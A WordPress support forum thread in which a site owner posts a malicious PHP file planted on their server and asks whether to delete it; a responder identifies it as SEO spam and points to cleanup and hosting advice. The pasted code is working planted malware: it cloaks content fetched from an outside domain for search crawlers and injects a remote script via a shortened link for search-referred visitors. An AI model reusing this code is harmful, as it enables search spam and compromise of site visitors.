• Hi guys, I’ve found many strange php files in the WP directory, such as barn.php, tern.php, tium.php and many more. These seem to have been added between April 1st and 4th. There is a strange code:

    <?php
    function gethttpcnt($url,$timeout = 5){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $cnt = curl_exec($ch);
    curl_close($ch);
    return $cnt;}
    $houzui=stripslashes($_SERVER['QUERY_STRING']);
    if($houzui==''){
    $ncontent=gethttpcnt("http://www.jptop.cc/hy/zt/0404/101wh.com/list.txt");
    $newcontent=explode("||",$ncontent);
    $content=gethttpcnt($newcontent[0]);
    if(stristr($_SERVER['HTTP_USER_AGENT'],'Googlebot')||stristr($_SERVER['HTTP_USER_AGENT'],'yahoo')||stristr($_SERVER['HTTP_USER_AGENT'],'bingbot')||stristr($_SERVER['HTTP_USER_AGENT'],'msnbot')||stristr($_SERVER['HTTP_USER_AGENT'],'aol')){
    echo $content;}
    }else{
    $nhouzui=explode(".",$houzui);
    $nmulu=explode("_",$nhouzui[0]);
    $content=gethttpcnt("http://www.jptop.cc/hy/zt/0404/101wh.com/".$nmulu[0]."/".$nmulu[1].'.txt');
    if(stristr($_SERVER['HTTP_USER_AGENT'],'Googlebot')||stristr($_SERVER['HTTP_USER_AGENT'],'yahoo')||stristr($_SERVER['HTTP_USER_AGENT'],'bingbot')||stristr($_SERVER['HTTP_USER_AGENT'],'msnbot')||stristr($_SERVER['HTTP_USER_AGENT'],'aol')){
    echo $content;}}
    if(stristr($_SERVER['HTTP_REFERER'],"google")||stristr($_SERVER['HTTP_REFERER'],"yahoo")||stristr($_SERVER['HTTP_REFERER'],"bing")||stristr($_SERVER['HTTP_REFERER'],"msn")||stristr($_SERVER['HTTP_REFERER'],"aol")){
    $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
    if (preg_match("/zh-c/i", $lang)==false||preg_match("/zh-c/i", $lang)==0){
    echo "<script type='text/javascript' src='http://bit.ly/1s9BoaN'></script></html>";
    }
    }
    ?>

    Should I delete them?

    Thanks.
    -mbg

Viewing 4 replies - 1 through 4 (of 4 total)
  • Thread Starter ufopsi

    (@ufopsi)

    I have deleted all these files. However, WF did not block the upload.

    The site is running the latest version of WP and has very few plugins and pages. Furthermore, I previously found a line of malicious code in wp-content/index.php.

    Sucuri does not detect any issues so far.

    Hi mbg,
    This script would probably fetch some links from a specific domain owned by the attacker and print these links out when your website is being crawled by any search engine bot, so it’s some sort of “SEO spam”.

    Not sure if Wordfence was installed when these files were uploaded or not? also, was the Firewall set to “Enabled and Protecting”?

    In general, it’s highly recommended to check this list regarding “How to Clean a Hacked WordPress Site using Wordfence“, and there are some nice tips to protect your working environment as well here “How to Secure Your WordPress Working Environment“.

    Thanks.

    Thread Starter ufopsi

    (@ufopsi)

    Hi, thanks for the tip.

    Wordfence was active, yet this happened.

    If your website is hosted on a shared hosting account, then it could be that any of the other websites -hosted on the same server hosting your website- got hacked and these files were uploaded at this time.

    I suggest reading “How to Choose a WordPress Hosting Service” article on our learning center.

    Thanks.

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Many strange php files’ is closed to new replies.